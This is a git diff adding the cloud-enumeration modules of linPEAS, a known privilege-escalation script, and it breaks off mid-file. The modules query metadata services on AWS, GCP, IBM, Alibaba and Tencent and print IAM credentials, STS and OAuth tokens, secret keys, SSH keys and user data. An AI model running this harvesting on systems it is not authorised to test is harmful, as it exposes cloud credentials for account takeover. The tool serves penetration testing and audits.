b/linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh new file mode 100644 index 0000000..eb4538e --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/10_IBM_Cloud.sh @@ -0,0 +1,52 @@ +# Title: Cloud - IBM Cloud +# ID: CL_IBM_Cloud +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: IBM Cloud Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_ibm_vm, print_2title, print_3title +# Global Variables: $IBM_TOKEN, $is_ibm_vm +# Initial Functions: check_ibm_vm +# Generated Global Variables: $TOKEN_HEADER, $ACCEPT_HEADER, $URL, $ibm_req +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$is_ibm_vm" = "Yes" ]; then + print_2title "IBM Cloud Enumeration" + + if ! [ "$IBM_TOKEN" ]; then + echo "Couldn't get the metadata token:(" + + else + TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" + ACCEPT_HEADER="Accept: application/json" + URL="http://169.254.169.254/latest/meta-data" + + ibm_req="" + if [ "$(command -v curl || echo -n '')" ]; then + ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + elif [ "$(command -v wget || echo -n '')" ]; then + ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$ibm_req" ]; then + print_3title "Instance Details" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" + + print_3title "Keys and User data" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" + + print_3title "Placement Groups" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" + + print_3title "IAM credentials" + exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" + fi + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh new file mode 100644 index 0000000..8d6cdc6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/11_Ali_Cloud.sh @@ -0,0 +1,98 @@ +# Title: Cloud - Ali Cloud +# ID: CL_Ali_Cloud +# Author: Esonhugh +# Last Update: 22-01-2024 +# Description: Ali Cloud Platform Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_3title, print_info +# Global Variables: $is_aliyun_ecs +# Initial Functions: check_aliyun_ecs +# Generated Global Variables: $aliyun_req, $aliyun_token, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_aliyun_owner_account, $i_region_id, $i_zone_id, $i_pub_ipv4, $i_priv_ipv4, $net_dns, $mac, $sa, $key +# Fat linpeas: 0 +# Small linpeas: 1 + + + +if [ "$is_aliyun_ecs" = "Yes" ]; then + aliyun_req="" + aliyun_token="" + if [ "$(command -v curl)" ]; then + aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' + elif [ "$(command -v wget)" ]; then + aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aliyun_token" ]; then + print_2title "Aliyun ECS Enumeration" + print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" + + echo "" + print_3title "Instance Info" + i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) + [ "$i_hostname" ] && echo "Hostname: $i_hostname" + i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId + i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) + [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" + i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) + [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" + i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) + [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" + i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) + [ "$i_region_id" ] && echo "Region ID: $i_region_id" + i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) + [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + + echo "" + print_3title "Network Info" + i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) + [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" + i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) + [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" + net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) + [ "$net_dns" ] && echo "DNS: $net_dns" + + echo "========" + for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do + echo " Mac: $mac" + echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) + echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) + echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) + echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) + echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) + echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) + echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) + echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) + echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) + echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) + echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) + echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) + echo "=======" + done + + echo "" + print_3title "Service account " + for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do + echo " Name: $sa" + echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") + echo " ==============" + done + + echo "" + print_3title "Possbile admin ssh Public keys" + for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do + echo " Name: $key" + echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") + echo " ==============" + done + + + fi +fi + diff --git a/linPEAS/builder/linpeas_parts/3_cloud/12_Tencent_Cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud/12_Tencent_Cloud.sh new file mode 100644 index 0000000..d53ee4a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/12_Tencent_Cloud.sh @@ -0,0 +1,88 @@ +# Title: Cloud - Tencent Cloud +# ID: CL_Tencent_Cloud +# Author: Shadowabi +# Last Update: 22-01-2024 +# Description: Tencent Cloud Platform Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_3title, print_info +# Global Variables: $is_tencent_cvm +# Initial Functions: check_tencent_cvm +# Generated Global Variables: $tencent_req, $i_tencent_owner_account, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_region_id, $i_zone_id, $mac_tencent, $lipv4, $sa_tencent, $key_tencent +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$is_tencent_cvm" = "Yes" ]; then + tencent_req="" + if [ "$(command -v curl)" ]; then + tencent_req='curl --connect-timeout 2 -sfkG' + elif [ "$(command -v wget)" ]; then + tencent_req='wget -q --timeout 2 --tries 1 -O -' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + + print_2title "Tencent CVM Enumeration" + print_info "https://cloud.tencent.com/document/product/213/4934" + # Todo: print_info "Hacktricks Documents needs to be updated" + + echo "" + print_3title "Instance Info" + i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id) + [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account" + i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname) + [ "$i_hostname" ] && echo "Hostname: $i_hostname" + i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name) + [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" + i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type) + [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" + i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region) + [ "$i_region_id" ] && echo "Region ID: $i_region_id" + i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone) + [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + + echo "" + print_3title "Network Info" + for mac_tencent in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do + echo " Mac: $mac_tencent" + echo " Primary IPv4: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/primary-local-ipv4) + echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/public-ipv4s) + echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/vpc-id) + echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/subnet-id) + + for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s); do + echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/local-ipv4) + echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/gateway) + echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4) + echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4-mode) + echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/subnet-mask) + done + echo "=======" + done + + echo "" + print_3title "Service account " + for sa_tencent in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do + echo " Name: $sa_tencent" + echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa_tencent") + echo " ==============" + done + + echo "" + print_3title "Possbile admin ssh Public keys" + for key_tencent in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do + echo " Name: $key_tencent" + echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key_tencent}openssh-key") + echo " ==============" + done + + echo "" + print_3title "User Data" + eval $tencent_req http://169.254.0.23/latest/user-data; echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/1_Check_if_in_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud/1_Check_if_in_cloud.sh new file mode 100644 index 0000000..8d6d0c4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/1_Check_if_in_cloud.sh @@ -0,0 +1,30 @@ +# Title: Cloud - Check if in cloud +# ID: CL_Check_if_in_cloud +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the current system is inside a cloud environment +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list +# Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm +# Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "GCP Cloud Funtion? ................... $is_gcp_function\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "Tencent CVM? ......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," + +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh b/linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh new file mode 100644 index 0000000..b4c0a9c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/2_AWS_EC2.sh @@ -0,0 +1,79 @@ +# Title: Cloud - AWS EC2 +# ID: CL_AWS_EC2 +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: AWS EC2 Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_aws_ec2, exec_with_jq, print_2title, print_3title +# Global Variables: $is_aws_ec2 +# Initial Functions: check_aws_ec2 +# Generated Global Variables: $aws_req, $HEADER, $URL, $mac, $role +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$is_aws_ec2" = "Yes" ]; then + print_2title "AWS EC2 Enumeration" + + HEADER="X-aws-ec2-metadata-token: " + URL="http://169.254.169.254/latest/meta-data" + + aws_req="" + if [ "$(command -v curl || echo -n '')" ]; then + aws_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget || echo -n '')" ]; then + aws_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_req" ]; then + printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" + printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" + printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" + printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" + printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" + printf "region: "; eval $aws_req "$URL/placement/region"; echo "" + + echo "" + print_3title "Account Info" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" + + echo "" + print_3title "Network Info" + for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do + echo "Mac: $mac" + printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" + printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" + printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" + echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" + printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" + echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" + printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" + echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" + echo "" + done + + echo "" + print_3title "IAM Role" + exec_with_jq eval $aws_req "$URL/iam/info"; echo "" + for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do + echo "Role: $role" + exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" + echo "" + done + + echo "" + print_3title "User Data" + eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" + + echo "" + print_3title "EC2 Security Credentials" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" + + print_3title "SSM Runnig" + ps aux 2>/dev/null | grep "ssm-agent" | grep -Ev "grep|sed s,ssm-agent" | sed "s,ssm-agent,${SED_RED}," + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/3_AWS_ECS.sh b/linPEAS/builder/linpeas_parts/3_cloud/3_AWS_ECS.sh new file mode 100644 index 0000000..8fd2613 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/3_AWS_ECS.sh @@ -0,0 +1,48 @@ +# Title: Cloud - AWS ECS +# ID: CL_AWS_ECS +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: AWS ECS Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_aws_ecs, exec_with_jq, print_2title, print_3title +# Global Variables: $aws_ecs_metadata_uri, $aws_ecs_service_account_uri, $is_aws_ecs +# Initial Functions: check_aws_ecs +# Generated Global Variables: $aws_ecs_req +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$is_aws_ecs" = "Yes" ]; then + print_2title "AWS ECS Enumeration" + + aws_ecs_req="" + if [ "$(command -v curl || echo -n '')" ]; then + aws_ecs_req='curl -s -f' + elif [ "$(command -v wget || echo -n '')" ]; then + aws_ecs_req='wget -q -O -' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_ecs_metadata_uri" ]; then + print_3title "Container Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" + echo "" + + print_3title "Task Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" + echo "" + else + echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" + fi + + if [ "$aws_ecs_service_account_uri" ]; then + print_3title "IAM Role" + exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" + echo "" + else + echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/4_AWS_Lambda.sh b/linPEAS/builder/linpeas_parts/3_cloud/4_AWS_Lambda.sh new file mode 100644 index 0000000..5470c46 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/4_AWS_Lambda.sh @@ -0,0 +1,27 @@ +# Title: Cloud - AWS Lambda +# ID: CL_AWS_Lambda +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: AWS Lambda Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_aws_lambda, print_2title +# Global Variables: $is_aws_lambda +# Initial Functions: check_aws_lambda +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$is_aws_lambda" = "Yes" ]; then + print_2title "AWS Lambda Enumeration" + printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME + printf "Region: "; env | grep AWS_REGION + printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY + printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID + printf "Session token: "; env | grep AWS_SESSION_TOKEN + printf "Security token: "; env | grep AWS_SECURITY_TOKEN + printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API + printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/5_AWS_Codebuild.sh b/linPEAS/builder/linpeas_parts/3_cloud/5_AWS_Codebuild.sh new file mode 100644 index 0000000..7039328 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/5_AWS_Codebuild.sh @@ -0,0 +1,40 @@ +# Title: Cloud - AWS Codebuild +# ID: CL_AWS_Codebuild +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: AWS Codebuild Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_aws_codebuild, exec_with_jq, print_2title, print_3title +# Global Variables: $is_aws_codebuild +# Initial Functions: check_aws_codebuild +# Generated Global Variables: $aws_req, $METADATA_URL, $CREDS_PATH, $URL_CREDS +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$is_aws_codebuild" = "Yes" ]; then + print_2title "AWS Codebuild Enumeration" + + aws_req="" + if [ "$(command -v curl || echo -n '')" ]; then + aws_req="curl -s -f" + elif [ "$(command -v wget || echo -n '')" ]; then + aws_req="wget -q -O -" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + echo "The addresses are in /codebuild/output/tmp/env.sh" + fi + + if [ "$aws_req" ]; then + print_3title "Credentials" + CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) + URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig + exec_with_jq eval $aws_req "$URL_CREDS"; echo "" + + print_3title "Container Info" + METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) + exec_with_jq eval $aws_req "$METADATA_URL"; echo "" + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh new file mode 100644 index 0000000..9e44f81 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh @@ -0,0 +1,57 @@ +# Title: Cloud - Google Cloud Function +# ID: CL_Google_cloud_function +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Google Cloud Function Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_gcp, print_2title, print_3title, print_info +# Global Variables: $is_gcp_function, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES +# Initial Functions: check_gcp +# Generated Global Variables: $gcp_req, $p_id, $p_num, $inst_id, $inst_zone, $mtls_info +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$is_gcp_function" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl)" ]; then + gcp_req='curl -s -f -H "Metadata-Flavor: Google"' + elif [ "$(command -v wget)" ]; then + gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + # GCP Enumeration + if [ "$gcp_req" ]; then + print_2title "Google Cloud Platform Enumeration" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + + # Instance Info + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration) + [ "$mtls_info" ] && echo "MTLS info: $mtls_info" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token") + echo " ============== " + done + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh new file mode 100644 index 0000000..53c4e39 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_vm.sh @@ -0,0 +1,111 @@ +# Title: Cloud - Google Cloud VM +# ID: CL_Google_cloud_vm +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Google Cloud VM Enumeration +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_gcp, print_2title, print_3title, print_info +# Global Variables: $is_gcp_vm, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES +# Initial Functions: check_gcp +# Generated Global Variables: $gcp_req, $p_id, $p_num, $pssh_k, $p_attrs, $osl_u, $osl_g, $osl_sk, $osl_au, $inst_d, $inst_hostn, $inst_id, $inst_img, $inst_mt, $inst_n, $inst_tag, $inst_zone, $inst_k8s_loc, $inst_k8s_name, $inst_k8s_osl_e, $inst_k8s_klab, $inst_k8s_kubec, $inst_k8s_kubenv, $iface +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$is_gcp_vm" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl || echo -n '')" ]; then + gcp_req='curl -s -f -H "Metadata-Flavor: Google"' + elif [ "$(command -v wget || echo -n '')" ]; then + gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + + if [ "$gcp_req" ]; then + print_2title "Google Cloud Platform Enumeration" + print_info "https://book.hacktricks.xyz/cloud-security/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') + [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" + p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') + [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" + + # OSLogin Info + osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) + [ 